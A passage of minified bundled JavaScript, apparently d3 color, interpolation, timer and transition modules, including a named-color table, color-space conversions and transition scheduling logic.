t=(t||0)%360,t<0?t+360:t}function n5(t){return Math.max(0,Math.min(1,t||0))}function Y8(t,e,r){return(t<60?e+(r-e)*t/60:t<180?r:t<240?e+(r-e)*(240-t)/60:e)*255}var pv,i5,I0,mv,oc,zEe,GEe,VEe,UEe,HEe,qEe,WEe,yq,j8=N(()=>{"use strict";W8();o(Lh,"Color");pv=.7,i5=1/pv,I0="\\s*([+-]?\\d+)\\s*",mv="\\s*([+-]?(?:\\d*\\.)?\\d+(?:[eE][+-]?\\d+)?)\\s*",oc="\\s*([+-]?(?:\\d*\\.)?\\d+(?:[eE][+-]?\\d+)?)%\\s*",zEe=/^#([0-9a-f]{3,8})$/,GEe=new RegExp(`^rgb\\(${I0},${I0},${I0}\\)$`),VEe=new RegExp(`^rgb\\(${oc},${oc},${oc}\\)$`),UEe=new RegExp(`^rgba\\(${I0},${I0},${I0},${mv}\\)$`),HEe=new RegExp(`^rgba\\(${oc},${oc},${oc},${mv}\\)$`),qEe=new RegExp(`^hsl\\(${mv},${oc},${oc}\\)$`),WEe=new RegExp(`^hsla\\(${mv},${oc},${oc},${mv}\\)$`),yq={aliceblue:15792383,antiquewhite:16444375,aqua:65535,aquamarine:8388564,azure:15794175,beige:16119260,bisque:16770244,black:0,blanchedalmond:16772045,blue:255,blueviolet:9055202,brown:10824234,burlywood:14596231,cadetblue:6266528,chartreuse:8388352,chocolate:13789470,coral:16744272,cornflowerblue:6591981,cornsilk:16775388,crimson:14423100,cyan:65535,darkblue:139,darkcyan:35723,darkgoldenrod:12092939,darkgray:11119017,darkgreen:25600,darkgrey:11119017,darkkhaki:12433259,darkmagenta:9109643,darkolivegreen:5597999,darkorange:16747520,darkorchid:10040012,darkred:9109504,darksalmon:15308410,darkseagreen:9419919,darkslateblue:4734347,darkslategray:3100495,darkslategrey:3100495,darkturquoise:52945,darkviolet:9699539,deeppink:16716947,deepskyblue:49151,dimgray:6908265,dimgrey:6908265,dodgerblue:2003199,firebrick:11674146,floralwhite:16775920,forestgreen:2263842,fuchsia:16711935,gainsboro:14474460,ghostwhite:16316671,gold:16766720,goldenrod:14329120,gray:8421504,green:32768,greenyellow:11403055,grey:8421504,honeydew:15794160,hotpink:16738740,indianred:13458524,indigo:4915330,ivory:16777200,khaki:15787660,lavender:15132410,lavenderblush:16773365,lawngreen:8190976,lemonchiffon:16775885,lightblue:11393254,lightcoral:15761536,lightcyan:14745599,lightgoldenrodyellow:16448210,lightgray:13882323,lightgreen:9498256,lightgrey:13882323,lightpink:16758465,lightsalmon:16752762,lightseagreen:2142890,lightskyblue:8900346,lightslategray:7833753,lightslategrey:7833753,lightsteelblue:11584734,lightyellow:16777184,lime:65280,limegreen:3329330,linen:16445670,magenta:16711935,maroon:8388608,mediumaquamarine:6737322,mediumblue:205,mediumorchid:12211667,mediumpurple:9662683,mediumseagreen:3978097,mediumslateblue:8087790,mediumspringgreen:64154,mediumturquoise:4772300,mediumvioletred:13047173,midnightblue:1644912,mintcream:16121850,mistyrose:16770273,moccasin:16770229,navajowhite:16768685,navy:128,oldlace:16643558,olive:8421376,olivedrab:7048739,orange:16753920,orangered:16729344,orchid:14315734,palegoldenrod:15657130,palegreen:10025880,paleturquoise:11529966,palevioletred:14381203,papayawhip:16773077,peachpuff:16767673,peru:13468991,pink:16761035,plum:14524637,powderblue:11591910,purple:8388736,rebeccapurple:6697881,red:16711680,rosybrown:12357519,royalblue:4286945,saddlebrown:9127187,salmon:16416882,sandybrown:16032864,seagreen:3050327,seashell:16774638,sienna:10506797,silver:12632256,skyblue:8900331,slateblue:6970061,slategray:7372944,slategrey:7372944,snow:16775930,springgreen:65407,steelblue:4620980,tan:13808780,teal:32896,thistle:14204888,tomato:16737095,turquoise:4251856,violet:15631086,wheat:16113331,white:16777215,whitesmoke:16119285,yellow:16776960,yellowgreen:10145074};Dh(Lh,xl,{copy(t){return Object.assign(new this.constructor,this,t)},displayable(){return this.rgb().displayable()},hex:vq,formatHex:vq,formatHex8:YEe,formatHsl:XEe,formatRgb:xq,toString:xq});o(vq,"color_formatHex");o(YEe,"color_formatHex8");o(XEe,"color_formatHsl");o(xq,"color_formatRgb");o(xl,"color");o(bq,"rgbn");o(r5,"rgba");o(X8,"rgbConvert");o(O0,"rgb");o(oa,"Rgb");Dh(oa,O0,M0(Lh,{brighter(t){return t=t==null?i5:Math.pow(i5,t),new oa(this.r*t,this.g*t,this.b*t,this.opacity)},darker(t){return t=t==null?pv:Math.pow(pv,t),new oa(this.r*t,this.g*t,this.b*t,this.opacity)},rgb(){return this},clamp(){return new oa(kd(this.r),kd(this.g),kd(this.b),a5(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:Tq,formatHex:Tq,formatHex8:jEe,formatRgb:wq,toString:wq}));o(Tq,"rgb_formatHex");o(jEe,"rgb_formatHex8");o(wq,"rgb_formatRgb");o(a5,"clampa");o(kd,"clampi");o(wd,"hex");o(kq,"hsla");o(Sq,"hslConvert");o(Cq,"hsl");o(vl,"Hsl");Dh(vl,Cq,M0(Lh,{brighter(t){return t=t==null?i5:Math.pow(i5,t),new vl(this.h,this.s,this.l*t,this.opacity)},darker(t){return t=t==null?pv:Math.pow(pv,t),new vl(this.h,this.s,this.l*t,this.opacity)},rgb(){var t=this.h%360+(this.h<0)*360,e=isNaN(t)||isNaN(this.s)?0:this.s,r=this.l,n=r+(r<.5?r:1-r)*e,i=2*r-n;return new oa(Y8(t>=240?t-240:t+120,i,n),Y8(t,i,n),Y8(t<120?t+240:t-120,i,n),this.opacity)},clamp(){return new vl(Eq(this.h),n5(this.s),n5(this.l),a5(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){let t=a5(this.opacity);return`${t===1?"hsl(":"hsla("}${Eq(this.h)}, ${n5(this.s)*100}%, ${n5(this.l)*100}%${t===1?")":`, ${t})`}`}}));o(Eq,"clamph");o(n5,"clampt");o(Y8,"hsl2rgb")});var Aq,_q,Dq=N(()=>{"use strict";Aq=Math.PI/180,_q=180/Math.PI});function Oq(t){if(t instanceof lc)return new lc(t.l,t.a,t.b,t.opacity);if(t instanceof vu)return Pq(t);t instanceof oa||(t=X8(t));var e=J8(t.r),r=J8(t.g),n=J8(t.b),i=K8((.2225045*e+.7168786*r+.0606169*n)/Rq),a,s;return e===r&&r===n?a=s=i:(a=K8((.4360747*e+.3850649*r+.1430804*n)/Lq),s=K8((.0139322*e+.0971045*r+.7141733*n)/Nq)),new lc(116*i-16,500*(a-i),200*(i-s),t.opacity)}function e_(t,e,r,n){return arguments.length===1?Oq(t):new lc(t,e,r,n??1)}function lc(t,e,r,n){this.l=+t,this.a=+e,this.b=+r,this.opacity=+n}function K8(t){return t>KEe?Math.pow(t,1/3):t/Iq+Mq}function Q8(t){return t>P0?t*t*t:Iq*(t-Mq)}function Z8(t){return 255*(t<=.0031308?12.92*t:1.055*Math.pow(t,1/2.4)-.055)}function J8(t){return(t/=255)<=.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)}function QEe(t){if(t instanceof vu)return new vu(t.h,t.c,t.l,t.opacity);if(t instanceof lc||(t=Oq(t)),t.a===0&&t.b===0)return new vu(NaN,0{"use strict";W8();j8();Dq();s5=18,Lq=.96422,Rq=1,Nq=.82521,Mq=4/29,P0=6/29,Iq=3*P0*P0,KEe=P0*P0*P0;o(Oq,"labConvert");o(e_,"lab");o(lc,"Lab");Dh(lc,e_,M0(Lh,{brighter(t){return new lc(this.l+s5*(t??1),this.a,this.b,this.opacity)},darker(t){return new lc(this.l-s5*(t??1),this.a,this.b,this.opacity)},rgb(){var t=(this.l+16)/116,e=isNaN(this.a)?t:t+this.a/500,r=isNaN(this.b)?t:t-this.b/200;return e=Lq*Q8(e),t=Rq*Q8(t),r=Nq*Q8(r),new oa(Z8(3.1338561*e-1.6168667*t-.4906146*r),Z8(-.9787684*e+1.9161415*t+.033454*r),Z8(.0719453*e-.2289914*t+1.4052427*r),this.opacity)}}));o(K8,"xyz2lab");o(Q8,"lab2xyz");o(Z8,"lrgb2rgb");o(J8,"rgb2lrgb");o(QEe,"hclConvert");o(gv,"hcl");o(vu,"Hcl");o(Pq,"hcl2lab");Dh(vu,gv,M0(Lh,{brighter(t){return new vu(this.h,this.c,this.l+s5*(t??1),this.opacity)},darker(t){return new vu(this.h,this.c,this.l-s5*(t??1),this.opacity)},rgb(){return Pq(this).rgb()}}))});var B0=N(()=>{"use strict";j8();Bq()});function t_(t,e,r,n,i){var a=t*t,s=a*t;return((1-3*t+3*a-s)*e+(4-6*a+3*s)*r+(1+3*t+3*a-3*s)*n+s*i)/6}function r_(t){var e=t.length-1;return function(r){var n=r<=0?r=0:r>=1?(r=1,e-1):Math.floor(r*e),i=t[n],a=t[n+1],s=n>0?t[n-1]:2*i-a,l=n{"use strict";o(t_,"basis");o(r_,"default")});function i_(t){var e=t.length;return function(r){var n=Math.floor(((r%=1)<0?++r:r)*e),i=t[(n+e-1)%e],a=t[n%e],s=t[(n+1)%e],l=t[(n+2)%e];return t_((r-n/e)*e,i,a,s,l)}}var Fq=N(()=>{"use strict";n_();o(i_,"default")});var F0,a_=N(()=>{"use strict";F0=o(t=>()=>t,"default")});function $q(t,e){return function(r){return t+r*e}}function ZEe(t,e,r){return t=Math.pow(t,r),e=Math.pow(e,r)-t,r=1/r,function(n){return Math.pow(t+n*e,r)}}function zq(t,e){var r=e-t;return r?$q(t,r>180||r<-180?r-360*Math.round(r/360):r):F0(isNaN(t)?e:t)}function Gq(t){return(t=+t)==1?xu:function(e,r){return r-e?ZEe(e,r,t):F0(isNaN(e)?r:e)}}function xu(t,e){var r=e-t;return r?$q(t,r):F0(isNaN(t)?e:t)}var s_=N(()=>{"use strict";a_();o($q,"linear");o(ZEe,"exponential");o(zq,"hue");o(Gq,"gamma");o(xu,"nogamma")});function Vq(t){return function(e){var r=e.length,n=new Array(r),i=new Array(r),a=new Array(r),s,l;for(s=0;s{"use strict";B0();n_();Fq();s_();Ed=o((function t(e){var r=Gq(e);function n(i,a){var s=r((i=O0(i)).r,(a=O0(a)).r),l=r(i.g,a.g),u=r(i.b,a.b),h=xu(i.opacity,a.opacity);return function(f){return i.r=s(f),i.g=l(f),i.b=u(f),i.opacity=h(f),i+""}}return o(n,"rgb"),n.gamma=t,n}),"rgbGamma")(1);o(Vq,"rgbSpline");JEe=Vq(r_),eSe=Vq(i_)});function l_(t,e){e||(e=[]);var r=t?Math.min(e.length,t.length):0,n=e.slice(),i;return function(a){for(i=0;i{"use strict";o(l_,"default");o(Uq,"isNumberArray")});function qq(t,e){var r=e?e.length:0,n=t?Math.min(r,t.length):0,i=new Array(n),a=new Array(r),s;for(s=0;s{"use strict";o5();o(qq,"genericArray")});function c_(t,e){var r=new Date;return t=+t,e=+e,function(n){return r.setTime(t*(1-n)+e*n),r}}var Yq=N(()=>{"use strict";o(c_,"default")});function Wi(t,e){return t=+t,e=+e,function(r){return t*(1-r)+e*r}}var yv=N(()=>{"use strict";o(Wi,"default")});function u_(t,e){var r={},n={},i;(t===null||typeof t!="object")&&(t={}),(e===null||typeof e!="object")&&(e={});for(i in e)i in t?r[i]=Rh(t[i],e[i]):n[i]=e[i];return function(a){for(i in r)n[i]=r[i](a);return n}}var Xq=N(()=>{"use strict";o5();o(u_,"default")});function tSe(t){return function(){return t}}function rSe(t){return function(e){return t(e)+""}}function $0(t,e){var r=f_.lastIndex=h_.lastIndex=0,n,i,a,s=-1,l=[],u=[];for(t=t+"",e=e+"";(n=f_.exec(t))&&(i=h_.exec(e));)(a=i.index)>r&&(a=e.slice(r,a),l[s]?l[s]+=a:l[++s]=a),(n=n[0])===(i=i[0])?l[s]?l[s]+=i:l[++s]=i:(l[++s]=null,u.push({i:s,x:Wi(n,i)})),r=h_.lastIndex;return r{"use strict";yv();f_=/[-+]?(?:\d+\.?\d*|\.?\d+)(?:[eE][-+]?\d+)?/g,h_=new RegExp(f_.source,"g");o(tSe,"zero");o(rSe,"one");o($0,"default")});function Rh(t,e){var r=typeof e,n;return e==null||r==="boolean"?F0(e):(r==="number"?Wi:r==="string"?(n=xl(e))?(e=n,Ed):$0:e instanceof xl?Ed:e instanceof Date?c_:Uq(e)?l_:Array.isArray(e)?qq:typeof e.valueOf!="function"&&typeof e.toString!="function"||isNaN(e)?u_:Wi)(t,e)}var o5=N(()=>{"use strict";B0();o_();Wq();Yq();yv();Xq();d_();a_();Hq();o(Rh,"default")});function l5(t,e){return t=+t,e=+e,function(r){return Math.round(t*(1-r)+e*r)}}var jq=N(()=>{"use strict";o(l5,"default")});function u5(t,e,r,n,i,a){var s,l,u;return(s=Math.sqrt(t*t+e*e))&&(t/=s,e/=s),(u=t*r+e*n)&&(r-=t*u,n-=e*u),(l=Math.sqrt(r*r+n*n))&&(r/=l,n/=l,u/=l),t*n{"use strict";Kq=180/Math.PI,c5={translateX:0,translateY:0,rotate:0,skewX:0,scaleX:1,scaleY:1};o(u5,"default")});function Zq(t){let e=new(typeof DOMMatrix=="function"?DOMMatrix:WebKitCSSMatrix)(t+"");return e.isIdentity?c5:u5(e.a,e.b,e.c,e.d,e.e,e.f)}function Jq(t){return t==null?c5:(h5||(h5=document.createElementNS("http://www.w3.org/2000/svg","g")),h5.setAttribute("transform",t),(t=h5.transform.baseVal.consolidate())?(t=t.matrix,u5(t.a,t.b,t.c,t.d,t.e,t.f)):c5)}var h5,eW=N(()=>{"use strict";Qq();o(Zq,"parseCss");o(Jq,"parseSvg")});function tW(t,e,r,n){function i(h){return h.length?h.pop()+" ":""}o(i,"pop");function a(h,f,d,p,m,g){if(h!==d||f!==p){var y=m.push("translate(",null,e,null,r);g.push({i:y-4,x:Wi(h,d)},{i:y-2,x:Wi(f,p)})}else(d||p)&&m.push("translate("+d+e+p+r)}o(a,"translate");function s(h,f,d,p){h!==f?(h-f>180?f+=360:f-h>180&&(h+=360),p.push({i:d.push(i(d)+"rotate(",null,n)-2,x:Wi(h,f)})):f&&d.push(i(d)+"rotate("+f+n)}o(s,"rotate");function l(h,f,d,p){h!==f?p.push({i:d.push(i(d)+"skewX(",null,n)-2,x:Wi(h,f)}):f&&d.push(i(d)+"skewX("+f+n)}o(l,"skewX");function u(h,f,d,p,m,g){if(h!==d||f!==p){var y=m.push(i(m)+"scale(",null,",",null,")");g.push({i:y-4,x:Wi(h,d)},{i:y-2,x:Wi(f,p)})}else(d!==1||p!==1)&&m.push(i(m)+"scale("+d+","+p+")")}return o(u,"scale"),function(h,f){var d=[],p=[];return h=t(h),f=t(f),a(h.translateX,h.translateY,f.translateX,f.translateY,d,p),s(h.rotate,f.rotate,d,p),l(h.skewX,f.skewX,d,p),u(h.scaleX,h.scaleY,f.scaleX,f.scaleY,d,p),h=f=null,function(m){for(var g=-1,y=p.length,v;++g{"use strict";yv();eW();o(tW,"interpolateTransform");p_=tW(Zq,"px, ","px)","deg)"),m_=tW(Jq,", ",")",")")});function nW(t){return function(e,r){var n=t((e=gv(e)).h,(r=gv(r)).h),i=xu(e.c,r.c),a=xu(e.l,r.l),s=xu(e.opacity,r.opacity);return function(l){return e.h=n(l),e.c=i(l),e.l=a(l),e.opacity=s(l),e+""}}}var g_,nSe,iW=N(()=>{"use strict";B0();s_();o(nW,"hcl");g_=nW(zq),nSe=nW(xu)});var z0=N(()=>{"use strict";o5();yv();jq();d_();rW();o_();iW()});function kv(){return Sd||(oW(iSe),Sd=Tv.now()+p5)}function iSe(){Sd=0}function wv(){this._call=this._time=this._next=null}function m5(t,e,r){var n=new wv;return n.restart(t,e,r),n}function lW(){kv(),++G0;for(var t=f5,e;t;)(e=Sd-t._time)>=0&&t._call.call(void 0,e),t=t._next;--G0}function aW(){Sd=(d5=Tv.now())+p5,G0=xv=0;try{lW()}finally{G0=0,sSe(),Sd=0}}function aSe(){var t=Tv.now(),e=t-d5;e>sW&&(p5-=e,d5=t)}function sSe(){for(var t,e=f5,r,n=1/0;e;)e._call?(n>e._time&&(n=e._time),t=e,e=e._next):(r=e._next,e._next=null,e=t?t._next=r:f5=r);bv=t,y_(n)}function y_(t){if(!G0){xv&&(xv=clearTimeout(xv));var e=t-Sd;e>24?(t<1/0&&(xv=setTimeout(aW,t-Tv.now()-p5)),vv&&(vv=clearInterval(vv))):(vv||(d5=Tv.now(),vv=setInterval(aSe,sW)),G0=1,oW(aW))}}var G0,xv,vv,sW,f5,bv,d5,Sd,p5,Tv,oW,v_=N(()=>{"use strict";G0=0,xv=0,vv=0,sW=1e3,d5=0,Sd=0,p5=0,Tv=typeof performance=="object"&&performance.now?performance:Date,oW=typeof window=="object"&&window.requestAnimationFrame?window.requestAnimationFrame.bind(window):function(t){setTimeout(t,17)};o(kv,"now");o(iSe,"clearNow");o(wv,"Timer");wv.prototype=m5.prototype={constructor:wv,restart:o(function(t,e,r){if(typeof t!="function")throw new TypeError("callback is not a function");r=(r==null?kv():+r)+(e==null?0:+e),!this._next&&bv!==this&&(bv?bv._next=this:f5=this,bv=this),this._call=t,this._time=r,y_()},"restart"),stop:o(function(){this._call&&(this._call=null,this._time=1/0,y_())},"stop")};o(m5,"timer");o(lW,"timerFlush");o(aW,"wake");o(aSe,"poke");o(sSe,"nap");o(y_,"sleep")});function Ev(t,e,r){var n=new wv;return e=e==null?0:+e,n.restart(i=>{n.stop(),t(i+e)},e,r),n}var cW=N(()=>{"use strict";v_();o(Ev,"default")});var g5=N(()=>{"use strict";v_();cW()});function bu(t,e,r,n,i,a){var s=t.__transition;if(!s)t.__transition={};else if(r in s)return;cSe(t,r,{name:e,index:n,group:i,on:oSe,tween:lSe,time:a.time,delay:a.delay,duration:a.duration,ease:a.ease,timer:null,state:fW})}function Cv(t,e){var r=Oi(t,e);if(r.state>fW)throw new Error("too late; already scheduled");return r}function la(t,e){var r=Oi(t,e);if(r.state>y5)throw new Error("too late; already running");return r}function Oi(t,e){var r=t.__transition;if(!r||!(r=r[e]))throw new Error("transition not found");return r}function cSe(t,e,r){var n=t.__transition,i;n[e]=r,r.timer=m5(a,0,r.time);function a(h){r.state=uW,r.timer.restart(s,r.delay,r.time),r.delay<=h&&s(h-r.delay)}o(a,"schedule");function s(h){var f,d,p,m;if(r.state!==uW)return u();for(f in n)if(m=n[f],m.name===r.name){if(m.state===y5)return Ev(s);m.state===hW?(m.state=Sv,m.timer.stop(),m.on.call("interrupt",t,t.__data__,m.index,m.group),delete n[f]):+f{"use strict";JA();g5();oSe=ZA("start","end","cancel","interrupt"),lSe=[],fW=0,uW=1,v5=2,y5=3,hW=4,x5=5,Sv=6;o(bu,"default");o(Cv,"init");o(la,"set");o(Oi,"get");o(cSe,"create")});function Av(t,e){var r=t.__transition,n,i,a=!0,s;if(r){e=e==null?null:e+"";for(s in r){if((n=r[s]).name!==e){a=!1;continue}i=n.state>v5&&n.state{"use strict";Ds();o(Av,"default")});function x_(t){return this.each(function(){Av(this,t)})}var pW=N(()=>{"use strict";dW();o(x_,"default")});function uSe(t,e){var r,n;return function(){var i=la(this,t),a=i.tween;if(a!==r){n=r=a;for(var s=0,l=n.length;s{"use strict";Ds();o(uSe,"tweenRemove");o(hSe,"tweenFunction");o(b_,"default");o(V0,"tweenValue")});function Dv(t,e){var r;return(typeof e=="number"?Wi:e instanceof xl?Ed:(r=xl(e))?(e=r,Ed):$0)(t,e)}var T_=N(()=>{"use strict";B0();z0();o(Dv,"default")});function fSe(t){return function(){this.removeAttribute(t)}}function dSe(t){return function(){this.removeAttributeNS(t.space,t.local)}}function pSe(t,e,r){var n,i=r+"",a;return function(){var s=this.getAttribute(t);return s===i?null:s===n?a:a=e(n=s,r)}}function mSe(t,e,r){var n,i=r+"",a;return function(){var s=this.getAttributeNS(t.space,t.local);return s===i?null:s===n?a:a=e(n=s,r)}}function gSe(t,e,r){var n,i,a;return function(){var s,l=r(this),u;return l==null?void this.removeAttribute(t):(s=this.getAttribute(t),u=l+"",s===u?null:s===n&&u===i?a:(i=u,a=e(n=s,l)))}}function ySe(t,e,r){var n,i,a;return function(){var s,l=r(this),u;return l==null?void this.removeAttributeNS(t.space,t.local):(s=this.getAttributeNS(t.space,t.local),u=l+"",s===u?null:s===n&&u===i?a:(i=u,a=e(n=s,l)))}}function w_(t,e){var r=sc(t),n=r==="transform"?m_:Dv;return this.attrTween(t,typeof e=="function"?(r.local?ySe:gSe)(r,n,V0(this,"attr."+t,e)):e==null?(r.local?dSe:fSe)(r):(r.local?mSe:pSe)(r,n,e))}var mW=N(()=>{"use strict";z0();yl();_v();T_();o(fSe,"attrRemove");o(dSe,"attrRemoveNS");o(pSe,"attrConstant");o(mSe,"attrConstantNS");o(gSe,"attrFunction");o(ySe,"attrFunctionNS");o(w_,"default")});function vSe(t,e){return function(r){this.setAttribute(t,e.call(this,r))}}function xSe(t,e){return function(r){this.setAttributeNS(t.space,t.local,e.call(this,r))}}function bSe(t,e){var r,n;function i(){var a=e.apply(this,arguments);return a!==n&&(r=(n=a)&&xSe(t,a)),r}return o(i,"tween"),i._value=e,i}function TSe(t,e){var r,n;function i(){var a=e.apply(this,arguments);return a!==n&&(r=(n=a)&&vSe(t,a)),r}return o(i,"tween"),i._value=e,i}function k_(t,e){var r="attr."+t;if(arguments.length<2)return(r=this.tween(r))&&r._value;if(e==null)return this.tween(r,null);if(typeof e!="function")throw new Error;var n=sc(t);return this.tween(r,(n.local?bSe:TSe)(n,e))}var gW=N(()=>{"use strict";yl();o(vSe,"attrInterpolate");o(xSe,"attrInterpolateNS");o(bSe,"attrTweenNS");o(TSe,"attrTween");o(k_,"default")});function wSe(t,e){return function(){Cv(this,t).delay=+e.apply(this,arguments)}}function kSe(t,e){return e=+e,function(){Cv(this,t).delay=e}}function E_(t){var e=this._id;return arguments.length?this.each((typeof t=="function"?wSe:kSe)(e,t)):Oi(this.node(),e).delay}var yW=N(()=>{"use strict";Ds();o(wSe,"delayFunction");o(kSe,"delayConstant");o(E_,"default")});function ESe(t,e){return function(){la(this,t).duration=+e.apply(this,arguments)}}function SSe(t,e){return e=+e,function(){la(this,t).duration=e}}function S_(t){var e=this._id;return arguments.length?this.each((typeof t=="function"?ESe:SSe)(e,t)):Oi(this.node(),e).duration}var vW=N(()=>{"use strict";Ds();o(ESe,"durationFunction");o(SSe,"durationConstant");o(S_,"default")});function CSe(t,e){if(typeof e!="function")throw new Error;return function(){la(this,t).ease=e}}function C_(t){var e=this._id;return arguments.length?this.each(CSe(e,t)):Oi(this.node(),e).ease}var xW=N(()=>{"use strict";Ds();o(CSe,"easeConstant");o(C_,"default")});function ASe(t,e){return function(){var r=e.apply(this,arguments);if(typeof r!="function")throw new Error;la(this,t).ease=r}}function A_(t){if(typeof t!="function")throw new Error;return this.each(ASe(this._id,t))}var bW=N(()=>{"use strict";Ds();o(ASe,"easeVarying");o(A_,"default")});function __(t){typeof t!="function"&&(t=N0(t));for(var e=this._groups,r=e.length,n=new Array(r),i=0;i{"use strict";yl();Cd();o(__,"default")});function D_(t){if(t._id!==this._id)throw new Error;for(var e=this._groups,r=t._groups,n=e.length,i=r.length,a=Math.min(n,i),s=new Array(n),l=0;l{"use strict";Cd();o(D_,"default")});function _Se(t){return(t+"").trim().split(/^|\s+/).every(function(e){var r=e.indexOf(".");return r>=0&&(e=e.slice(0,r)),!e||e==="start"})}function DSe(t,e,r){var n,i,a=_Se(e)?Cv:la;return function(){var s=a(this,t),l=s.on;l!==n&&(i=(n=l).copy()).on(e,r),s.on=i}}function L_(t,e){var r=this._id;return arguments.length<2?Oi(this.node(),r).on.on(t):this.each(DSe(r,t,e))}var kW=N(()=>{"use strict";Ds();o(_Se,"start");o(DSe,"onFunction");o(L_,"default")});function LSe(t){return function(){var e=this.parentNode;for(var r in this.__transition)if(+r!==t)return;e&&e.removeChild(this)}}function R_(){return this.on("end.remove",LSe(this._id))}var EW=N(()=>{"use strict";o(LSe,"removeFunction");o(R_,"default")});function N_(t){var e=this._name,r=this._id;typeof t!="function"&&(t=Ah(t));for(var n=this._groups,i=n.length,a=new Array(i),s=0;s{"use strict";yl();Cd();Ds();o(N_,"default")});function M_(t){var e=this._name,r=this._id;typeof t!="function"&&(t=R0(t));for(var n=this._groups,i=n.length,a=[],s=[],l=0;l{"use strict";yl();Cd();Ds();o(M_,"default")});function I_(){return new RSe(this._groups,this._parents)}var RSe,AW=N(()=>{"use strict";yl();RSe=yu.prototype.constructor;o(I_,"default")});function NSe(t,e){var r,n,i;return function(){var a=_h(this,t),s=(this.style.removeProperty(t),_h(this,t));return a===s?null:a===r&&s===n?i:i=e(r=a,n=s)}}function _W(t){return function(){this.style.removeProperty(t)}}function MSe(t,e,r){var n,i=r+"",a;return function(){var s=_h(this,t);return s===i?null:s===n?a:a=e(n=s,r)}}function ISe(t,e,r){var n,i,a;return function(){var s=_h(this,t),l=r(this),u=l+"";return l==null&&(u=l=(this.style.removeProperty(t),_h(this,t))),s===u?null:s===n&&u===i?a:(i=u,a=e(n=s,l))}}function OSe(t,e){var r,n,i,a="style."+e,s="end."+a,l;return function(){var u=la(this,t),h=u.on,f=u.value[a]==null?l||(l=_W(e)):void 0;(h!==r||i!==f)&&(n=(r=h).copy()).on(s,i=f),u.on=n}}function O_(t,e,r){var n=(t+="")=="transform"?p_:Dv;return e==null?this.styleTween(t,NSe(t,n)).on("end.style."+t,_W(t)):typeof e=="function"?this.styleTween(t,ISe(t,n,V0(this,"style."+t,e))).each(OSe(this._id,t)):this.styleTween(t,MSe(t,n,e),r).on("end.style."+t,null)}var DW=N(()=>{"use strict";z0();yl();Ds();_v();T_();o(NSe,"styleNull");o(_W,"styleRemove");o(MSe,"styleConstant");o(ISe,"styleFunction");o(OSe,"styleMaybeRemove");o(O_,"default")});function PSe(t,e,r){return function(n){this.style.setProperty(t,e.call(this,n),r)}}function BSe(t,e,r){var n,i;function a(){var s=e.apply(this,arguments);return s!==i&&(n=(i=s)&&PSe(t,s,r)),n}return o(a,"tween"),a._value=e,a}function P_(t,e,r){var n="style."+(t+="");if(arguments.length<2)return(n=this.tween(n))&&n._value;if(e==null)return this.tween(n,null);if(typeof e!="function")throw new Error;return this.tween(n,BSe(t,e,r??""))}var LW=N(()=>{"use strict";o(PSe,"styleInterpolate");o(BSe,"styleTween");o(P_,"default")});function FSe(t){return function(){this.textContent=t}}function $Se(t){return function(){var e=t(this);this.textContent=e??""}}function B_(t){return this.tween("text",typeof t=="function"?$Se(V0(this,"text",t)):FSe(t==null?"":t+""))}var RW=N(()=>{"use strict";_v();o(FSe,"textConstant");o($Se,"textFunction");o(B_,"default")});function zSe(t){return function(e){this.textContent=t.call(this,e)}}function GSe(t){var e,r;function n(){var i=t.apply(this,arguments);return i!==r&&(e=(r=i)&&zSe(i)),e}return o(n,"tween"),n._value=t,n}function F_(t){var e="text";if(arguments.length<1)return(e=this.tween(e))&&e._value;if(t==null)return this.tween(e,null);if(typeof t!="function")throw new Error;return this.tween(e,GSe(t))}var NW=N(()=>{"use strict";o(zSe,"textInterpolate");o(GSe,"textTween");o(F_,"default")});function $_(){for(var t=this._name,e=this._id,r=b5(),n=this._groups,i=n.length,a=0;a{"use strict";Cd();Ds();o($_,"default")});function z_(){var t,e,r=this,n=r._id,i=r.size();return new Promise(function(a,s){var l={value:s},u={value:o(function(){--i===0&&a()},"value")};r.each(function(){var h=la(this,n),f=h.on;f!==t&&(e=(t=f).copy(),e._.cancel.push(l),e._.interrupt.push(l),e._.end.push(u)),h.on=e}),i===0&&a()})}var IW=N(()=>{"use strict";Ds();o(z_,"default")});function is(t,e,r,n){this._groups=t,this._parents=e,this._name=r,this._id=n}function OW(t){return yu().transition(t)}function b5(){return++VSe}var VSe,Tu,Cd=N(()=>{"use strict";yl();mW();gW();yW();vW();xW();bW();TW();wW();kW();EW();SW();CW();AW();DW();LW();RW();NW();MW();_v();IW();VSe=0;o(is,"Transition");o(OW,"transition");o(b5,"newId");Tu=yu.prototype;is.prototype=OW.prototype={constructor:is,select:N_,selectAll:M_,selectChild:Tu.selectChild,selectChildren:Tu.selectChildren,filter:__,merge:D_,selection:I_,transition:$_,call:Tu.call,nodes:Tu.nodes,node:Tu.node,size:Tu.size,empty:Tu.empty,each:Tu.each,on:L_,attr:w_,attrTween:k_,style:O_,styleTween:P_,text:B_,textTween:F_,remove:R_,tween:b_,delay:E_,duration:S_,ease:C_,easeVarying:A_,end:z_,[Symbol.iterator]:Tu[Symbol.iterator]}});function T5(t){return((t*=2)<=1?t*t*t:(t-=2)*t*t+2)/2}var PW=N(()=>{"use strict";o(T5,"cubicInOut")});var G_=N(()=>{"use strict";PW()});function HSe(t,e){for(var r;!(r=t.__transition)||!(r=r[e]);)if(!(t=t.parentNode))throw new Error(`transition ${e} not found`);return r}function V_(t){var e,r;t instanceof is?(e=t._id,t=t._name):(e=b5(),(r=USe).time=kv(),t=t==null?null:t+"");for(var n=this._groups,i=n.length,a=0;a{"use strict";Cd();Ds();G_();g5();USe={time:null,delay:0,duration:250,ease:T5};o(HSe,"inherit");o(V_,"default")});var FW=N(()=>{"use strict";yl();pW();BW();yu.prototype.interrupt=x_;yu.prototype.transition=V_});var w5=N(()=>{"use strict";FW()});var $W=N(()=>{"use strict"});var zW=N(()=>{"use strict"});var GW=N(()=>{"use strict"});function VW(t){return[+t[0],+t[1]]}function qSe(t){return[VW(t[0]),VW(t[1])]}function U_(t){return{type:t}}var c1t,u1t,h1t,f1t,d1t,p1t,UW=N(()=>{"use strict";w5();$W();zW();GW();({abs:c1t,max:u1t,min:h1t}=Math);o(VW,"number1");o(qSe,"number2");f1t={name:"x",handles:["w","e"].map(U_),input:o(function(t,e){return 